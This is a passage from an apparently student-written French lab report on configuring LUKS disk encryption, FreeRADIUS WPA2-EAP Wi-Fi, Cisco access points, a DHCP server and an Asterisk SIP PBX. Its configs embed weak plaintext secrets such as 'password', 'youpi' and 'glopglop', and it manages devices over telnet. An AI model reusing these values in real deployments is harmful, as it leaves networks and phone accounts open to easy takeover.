cryptsetup luksDump /dev/mmcblk1

On peut désormais ouvrir notre volume appelé "frotteman", il nous faudra ensuite renseigner la clé secrète :

cryptsetup luksOpen /dev/mmcblk1 frotteman

On peut désormais installé un gestionnaire de fichier ext3

mkfs.ext3 /dev/mapper/frotteman

Et finalement monter/demonter le volume :

mount /dev/mapper/frotteman /mnt/
umount /mnt

Et également fermé le volume chiffré :

cryptsetup luksClose frotteman

===6.6 Securasition Wifi par WPA2-EAP===

default_eap_type = peap

Puis nous avons eu à configurer nos points d'accès wifi au sein du fichier clients.conf, voici à quoi ressemble la configuration d'un des points :

client E306{
ipaddr = 10.60.1.2
secret = password
}

Pour finir il ne restait plus qu'a créer un utilisateur pour ce serveur d'authentification, pour cela nous avons ajouté la ligne suivante dans le fichier users.

frotteman Cleartext-Password := "youpi"

Une fois cette configuration réalisée nous avons lancé notre serveur FreeRADIUS.
Configuration des bornes Wi-Fi

Par la suite nous avons réalisé la configuration des bornes Wi-Fi afin d'avoir notre accès sécurisé avec notre serveur FreeRADIUS. La configuation est réalisée en tapant les commandes suivantes après s'être connecté à la borne via telnet :

conf t

aaa new-model
aaa authentication login eap_frotteman group radius_frotteman
radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key password
aaa group server radius radius_frotteman
server 193.48.57.161 auth-port 1812 acct-port 1813

exit

dot11 ssid SSID_FROTTEMAN
vlan 2
authentication open eap eap_frotteman
authentication network-eap eap_frotteman
authentication key-management wpa
mbssid guest-mode

exit

interface Dot11Radio0
encryption vlan 2 mode ciphers aes-ccm tkip
ssid SSID_FROTTEMAN

exit

interface Dot11Radio0.2
encapsulation dot1Q 2
no ip route-cache
bridge-group 2
bridge-group 2 subscriber-loop-control
bridge-group 2 spanning-disabled
bridge-group 2 block-unknown-source
no bridge-group 2 source-learning
no bridge-group 2 unicast-flooding

exit

interface GigabitEthernet0.2
encapsulation dot1Q 2
bridge-group 2

exit

exit

===6.8.1 DHCP===
On installe un server DHCP sur l'eeePC :

apt-get install isc-dhcp-server

On configure le fichier /etc/dhcp/dhcpd.conf :

option domain-name "faispastomberlasavo.net";
option domain-name-servers 193.48.57.161;

subnet 10.60.2.0 netmask 255.255.255.0 {
range 10.60.2.50 10.60.2.100;
option routers 10.60.6.1;
}

Il ne nous reste plus qu'a indiqué notre interface réseau dans le fichier /etc/dhcp/isc-dhcp-server

===6.8.2 PCBx===

On installe asterisk
apt-get install asterisk

On modifie le fichier /etc/asterisk/sip.conf afin de créer 2 utilisateurs 666 & 665:

[general]
hasvoicemail=yes
hassip=yes
hasiax=yes
callwaiting=yes
threewaycalling=yes
callwaitingcallerid=yes
transfer=yes
canpark=yes
cancallforward=yes
callreturn=yes
callgroup=1
pickupgroup=1
nat=yes

[666]
type=friend
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname=Cduval
username=cduval
secret=glopglop
context=work

[665]
type=friend
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname=Pfitouss
username=pfitouss
secret=glopglop
context=work

Nous pouvons donc constater que le communication est réussi
Frotteman*CLI> sip show peers
Name/username Host Dyn Forcerport Comedia ACL Port Status Description
665/pfitouss (Unspecified) D Auto (No) No 0 Unmonitored
666/cduval (Unspecified) D Auto (No) No 0 Unmonitored
2 sip peers [Monitored: 0 online, 0 offline Unmonitored: 0 online, 2 offline]
-- Registered SIP '665' at 10.60.2.100:38862
[Jan 6 16:10:49] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 665
-- Registered SIP '666' at 10.60.2.101:35192
[Jan 6 16:12:06] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 666
[Jan 6 16:12:14] NOTICE[3824]: chan_sip.c:27870 handle_request_subscribe: Received SIP subscribe for peer without mailbox: 665
== Using SIP RTP CoS mark 5
-- Executing [666@work:1] Dial("SIP/665-00000000", "SIP/666,20") in new stack
== Using SIP RTP CoS mark 5
-- Called SIP/666
-- SIP/666-00000001 is ringing
-- SIP/666-00000001 answered SIP/665-00000000
-- Remotely bridging SIP/665-00000000 and SIP/666-00000001
== Spawn extension (work, 666, 1) exited non-zero on 'SIP/665-00000000'
Frotteman*CLI>